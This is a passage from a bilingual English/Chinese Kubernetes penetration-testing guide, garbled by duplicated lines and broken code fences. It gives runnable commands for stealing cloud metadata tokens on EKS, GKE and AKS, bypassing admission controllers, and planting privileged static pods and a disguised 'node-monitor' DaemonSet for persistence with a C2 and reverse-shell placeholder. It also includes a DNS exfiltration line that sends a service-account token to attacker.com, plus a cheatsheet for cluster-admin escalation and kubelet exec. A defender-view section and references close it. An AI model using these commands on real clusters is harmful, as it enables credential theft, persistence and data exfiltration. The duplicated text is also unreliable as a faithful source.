--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
aws sts assume-role-with-web-identity
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
--role-arn "$AWS_ROLE_ARN"
--role-session-name pwn
--web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"
Enumerate EKS cluster from stolen node credentials
Enumerate EKS cluster from stolen node credentials
aws eks describe-cluster --name CLUSTER_NAME
aws eks list-clusters
undefinedaws eks describe-cluster --name CLUSTER_NAME
aws eks list-clusters
undefinedGCP GKE
GCP GKE
bash
undefinedbash
undefinedGCP metadata server
GCP metadata server
curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
Get access token for GCP APIs
Get access token for GCP APIs
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
ACCESS_TOKEN=$(curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
Use token to access GCP APIs
Use token to access GCP APIs
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN"
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"
"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances"
Workload Identity check
Workload Identity check
curl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
undefinedcurl -s -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name
undefinedAzure AKS
Azure AKS
bash
undefinedbash
undefinedAzure Instance Metadata Service
Azure Instance Metadata Service
curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
Get managed identity token
Get managed identity token
curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Use token for Azure Resource Manager
Use token for Azure Resource Manager
TOKEN=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN"
"https://management.azure.com/subscriptions?api-version=2020-01-01"
"https://management.azure.com/subscriptions?api-version=2020-01-01"
---TOKEN=$(curl -s -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" |
python3 -c "import json,sys;print(json.load(sys.stdin)['access_token'])")
curl -s -H "Authorization: Bearer $TOKEN"
"https://management.azure.com/subscriptions?api-version=2020-01-01"
"https://management.azure.com/subscriptions?api-version=2020-01-01"
---Phase 8: Admission Controller Bypass and Persistence
阶段 8:绕过 Admission Controller 与持久化
Bypassing Admission Controllers
绕过 Admission Controller
bash
undefinedbash
undefinedCheck which admission controllers are active
Check which admission controllers are active
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
Inspect webhook configuration for bypass opportunities
Inspect webhook configuration for bypass opportunities
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for wh in data['items']:
name=wh['metadata']['name']
for w in wh.get('webhooks',[]):
ns_selector=w.get('namespaceSelector',{})
obj_selector=w.get('objectSelector',{})
failure=w.get('failurePolicy','Fail')
print(f'{name}/{w["name"]}: failurePolicy={failure}')
if ns_selector:
print(f' namespaceSelector: {json.dumps(ns_selector)}')
if failure == 'Ignore':
print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored')
"
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for wh in data['items']:
name=wh['metadata']['name']
for w in wh.get('webhooks',[]):
ns_selector=w.get('namespaceSelector',{})
obj_selector=w.get('objectSelector',{})
failure=w.get('failurePolicy','Fail')
print(f'{name}/{w["name"]}: failurePolicy={failure}')
if ns_selector:
print(f' namespaceSelector: {json.dumps(ns_selector)}')
if failure == 'Ignore':
print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored')
"
If failurePolicy is Ignore, you can create resources when webhook is down
If failurePolicy is Ignore, you can create resources when webhook is down
If namespaceSelector excludes certain namespaces, deploy there
If namespaceSelector excludes certain namespaces, deploy there
Deploy to kube-system (often excluded from admission policies)
Deploy to kube-system (often excluded from admission policies)
kubectl run pwn --image=alpine -n kube-system -- sleep 3600
kubectl run pwn --image=alpine -n kube-system -- sleep 3600
Use static pods (bypass API server admission entirely)
Use static pods (bypass API server admission entirely)
Write manifest to /etc/kubernetes/manifests/ on a node
Write manifest to /etc/kubernetes/manifests/ on a node
cat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn-static
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- name: root mountPath: /host volumes:
- name: root hostPath: path: / EOF
undefinedcat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: pwn-static
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- name: root mountPath: /host volumes:
- name: root hostPath: path: / EOF
undefinedCRD and Operator Abuse
CRD 和 Operator 滥用
bash
undefinedbash
undefinedList custom resource definitions
List custom resource definitions
kubectl get crds
kubectl get crds
Check for operators with elevated privileges
Check for operators with elevated privileges
kubectl get deployments -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for d in data['items']:
name=d['metadata']['name']
ns=d['metadata']['namespace']
sa=d['spec']['template']['spec'].get('serviceAccountName','default')
if any(x in name.lower() for x in ['operator','controller','manager']):
print(f'{ns}/{name} (SA: {sa})')
"
kubectl get deployments -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for d in data['items']:
name=d['metadata']['name']
ns=d['metadata']['namespace']
sa=d['spec']['template']['spec'].get('serviceAccountName','default')
if any(x in name.lower() for x in ['operator','controller','manager']):
print(f'{ns}/{name} (SA: {sa})')
"
If you can create CRDs, install a backdoor operator
If you can create CRDs, install a backdoor operator
If you can modify existing CRs, inject malicious configurations
If you can modify existing CRs, inject malicious configurations
Example: modify a CR that triggers pod creation with your image
Example: modify a CR that triggers pod creation with your image
undefinedundefinedPersistence via DaemonSet
通过 DaemonSet 实现持久化
bash
undefinedbash
undefinedDeploy a DaemonSet that runs on every node
Deploy a DaemonSet that runs on every node
cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
labels:
app: node-monitor
spec:
selector:
matchLabels:
app: node-monitor
template:
metadata:
labels:
app: node-monitor
spec:
hostPID: true
hostNetwork: true
tolerations:
- operator: Exists
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
# Beacon to C2 or maintain reverse shell
sleep 3600
done
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
---cat <<'EOF' | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
labels:
app: node-monitor
spec:
selector:
matchLabels:
app: node-monitor
template:
metadata:
labels:
app: node-monitor
spec:
hostPID: true
hostNetwork: true
tolerations:
- operator: Exists
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
# Beacon to C2 or maintain reverse shell
sleep 3600
done
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
EOF
---Phase 9: Network Policy Bypass
阶段 9:NetworkPolicy 绕过
bash
undefinedbash
undefinedCheck if network policies exist
Check if network policies exist
kubectl get networkpolicies -A
kubectl get networkpolicies -A
If no policies exist, all pod-to-pod traffic is allowed by default
If no policies exist, all pod-to-pod traffic is allowed by default
Even with policies, bypass opportunities include:
Even with policies, bypass opportunities include:
1. DNS-based exfiltration (port 53 is rarely blocked)
1. DNS-based exfiltration (port 53 is rarely blocked)
Encode data in DNS queries
Encode data in DNS queries
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com
nslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com
2. Metadata service (169.254.169.254) may not be covered by network policies
2. Metadata service (169.254.169.254) may not be covered by network policies
3. NodePort services bypass pod-level network policies
3. NodePort services bypass pod-level network policies
Access services via node IP and NodePort (30000-32767)
Access services via node IP and NodePort (30000-32767)
4. Host network pods bypass network policies entirely
4. Host network pods bypass network policies entirely
If you can create hostNetwork pods, you bypass all CNI-level restrictions
If you can create hostNetwork pods, you bypass all CNI-level restrictions
5. Service mesh sidecar bypass
5. Service mesh sidecar bypass
If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh
If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh
Direct pod IP access (bypassing service) may skip mesh-level policies
Direct pod IP access (bypassing service) may skip mesh-level policies
6. Check for misconfigured egress policies
6. Check for misconfigured egress policies
kubectl get networkpolicies -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for np in data['items']:
name=np['metadata']['name']
ns=np['metadata']['namespace']
egress=np['spec'].get('egress')
if egress is None:
print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')
elif len(egress)==1 and egress[0]=={}:
print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')
"
---kubectl get networkpolicies -A -o json | python3 -c "
import json,sys
data=json.load(sys.stdin)
for np in data['items']:
name=np['metadata']['name']
ns=np['metadata']['namespace']
egress=np['spec'].get('egress')
if egress is None:
print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')
elif len(egress)==1 and egress[0]=={}:
print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')
"
---Detection / Defender View
检测/防御方视角
Defenders monitoring for Kubernetes cluster attacks should watch for:
- Audit logging: Enable and monitor Kubernetes audit logs for unusual API calls. Watch for or
createonpatch,clusterrolebindings,roles, andpods/exec. Track service account token usage outside normal application patterns.secrets - RBAC alerts: Alert on creation of ClusterRoleBindings to . Monitor for wildcard permissions in new roles. Track
cluster-admin,escalate, andbindverb usage.impersonate - Kubelet access: Monitor for direct kubelet API connections (10250) that do not originate from the API server. Disable the read-only port (10255) entirely.
- Pod security: Enforce Pod Security Standards (restricted profile). Alert on pod creation with ,
hostPID,hostNetwork, orhostPath. Watch for pods running inprivileged: truethat are not part of the standard control plane.kube-system - Secrets access patterns: Monitor for bulk secret reads across namespaces. Alert on service accounts accessing secrets they do not normally access. Enable encryption at rest for etcd.
- Network monitoring: Watch for pod-to-metadata-service traffic (169.254.169.254). Monitor DNS query patterns for tunneling indicators. Alert on pod-to-pod traffic that bypasses service abstractions.
- Cloud IAM: Restrict IMDS access to pods that need it (use network policies or cloud-native controls). Use workload identity instead of node-level IAM roles. Audit cloud API calls originating from Kubernetes nodes.
- Falco and runtime: Deploy runtime security monitoring. Detect unexpected process execution, network connections, and file access in containers. Watch for ,
nsenter, andkubectlto API endpoints from application pods.curl
监控 Kubernetes 集群攻击的防御人员应关注:
- 审计日志:启用并监控 Kubernetes audit log,以发现异常 API 调用。关注对 、
clusterrolebindings、roles和pods/exec的secrets或create操作。跟踪 Service Account token 在正常应用模式之外的使用情况。patch - RBAC 告警:对创建指向 的 ClusterRoleBinding 发出告警。监控新角色中的通配符权限。跟踪
cluster-admin、escalate和bindverb 的使用情况。impersonate - Kubelet 访问:监控并非来自 API Server 的直接 kubelet API 连接(10250)。彻底禁用只读端口(10255)。
- Pod 安全:强制执行 Pod Security Standards(restricted profile)。对使用 、
hostPID、hostNetwork或hostPath创建的 Pod 发出告警。关注运行于privileged: true但不属于标准控制平面的 Pod。kube-system - Secrets 访问模式:监控跨 namespace 批量读取 Secrets 的行为。对 Service Account 访问其通常无权访问的 Secrets 发出告警。为 etcd 启用静态加密。
- 网络监控:关注 Pod 到元数据服务(169.254.169.254)的流量。监控 DNS 查询模式中的隧道指标。对绕过服务抽象的 Pod 间流量发出告警。
- 云 IAM:仅允许确有需要的 Pod 访问 IMDS(使用 NetworkPolicy 或云原生控制措施)。优先使用 Workload Identity,而不是节点级 IAM role。审计源自 Kubernetes 节点的云 API 调用。
- Falco 与运行时:部署运行时安全监控。检测容器中意外的进程执行、网络连接和文件访问。关注应用 Pod 中发往 API endpoint 的 、
nsenter和kubectl。curl
Engagement Cheatsheet
渗透测试速查表
bash
undefinedbash
undefined--- Initial Recon ---
--- Initial Recon ---
Get current permissions
Get current permissions
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces
Enumerate cluster
Enumerate cluster
kubectl cluster-info
kubectl get nodes -o wide
kubectl get namespaces
kubectl get pods -A -o wide
kubectl get services -A
kubectl cluster-info
kubectl get nodes -o wide
kubectl get namespaces
kubectl get pods -A -o wide
kubectl get services -A
--- Secrets ---
--- Secrets ---
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"
kubectl get secrets -A
kubectl get secret <name> -n <ns> -o jsonpath='{.data}' | python3 -c "import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]"
--- Privilege Escalation ---
--- Privilege Escalation ---
Create cluster-admin binding
Create cluster-admin binding
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
Deploy privileged pod
Deploy privileged pod
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["sleep","3600"],"securityContext":{"privileged":true},"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' --restart=Never
--- Kubelet ---
--- Kubelet ---
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"
curl -sk https://NODE_IP:10250/runningpods/ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d "cmd=id" -H "Authorization: Bearer $TOKEN"
--- Cloud Metadata ---
--- Cloud Metadata ---
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
--- Lateral Movement ---
--- Lateral Movement ---
Exec into other pods
Exec into other pods
kubectl get pods -A
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
kubectl get pods -A
kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
Port forward to internal services
Port forward to internal services
kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE
---kubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE
---Key References
主要参考资料
- MITRE ATT&CK T1609 - Container Administration Command
- MITRE ATT&CK T1610 - Deploy Container
- MITRE ATT&CK T1613 - Container and Resource Discovery
- MITRE ATT&CK T1552.007 - Container API / Kubernetes Secrets
- Tool: kube-hunter - https://github.com/aquasecurity/kube-hunter
- Tool: peirates - https://github.com/inguardians/peirates
- Tool: kubeaudit - https://github.com/Shopify/kubeaudit
- Tool: kdigger - https://github.com/quarkslab/kdigger
- Tool: kubeletctl - https://github.com/cyberark/kubeletctl
- Kubernetes Security Documentation - https://kubernetes.io/docs/concepts/security/
- Kubernetes Threat Matrix (Microsoft) - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/
- Kubernetes Hardening Guide (NSA/CISA) - https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF
- HackTricks Kubernetes Pentesting - https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes
- MITRE ATT&CK T1609 - Container Administration Command
- MITRE ATT&CK T1610 - Deploy Container
- MITRE ATT&CK T1613 - Container and Resource Discovery
- MITRE ATT&CK T1552.007 - Container API / Kubernetes Secrets
- 工具:kube-hunter - https://github.com/aquasecurity/kube-hunter
- 工具:peirates - https://github.com/inguardians/peirates
- 工具:kubeaudit - https://github.com/Shopify/kubeaudit
- 工具:kdigger - https://github.com/quarkslab/kdigger
- 工具:kubeletctl - https://github.com/cyberark/kubeletctl
- Kubernetes 安全文档 - https://kubernetes.io/docs/concepts/security/
- Kubernetes 威胁矩阵(Microsoft) - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/
- Kubernetes 加固指南(NSA/CISA) - https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF
- HackTricks Kubernetes 渗透测试 - https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes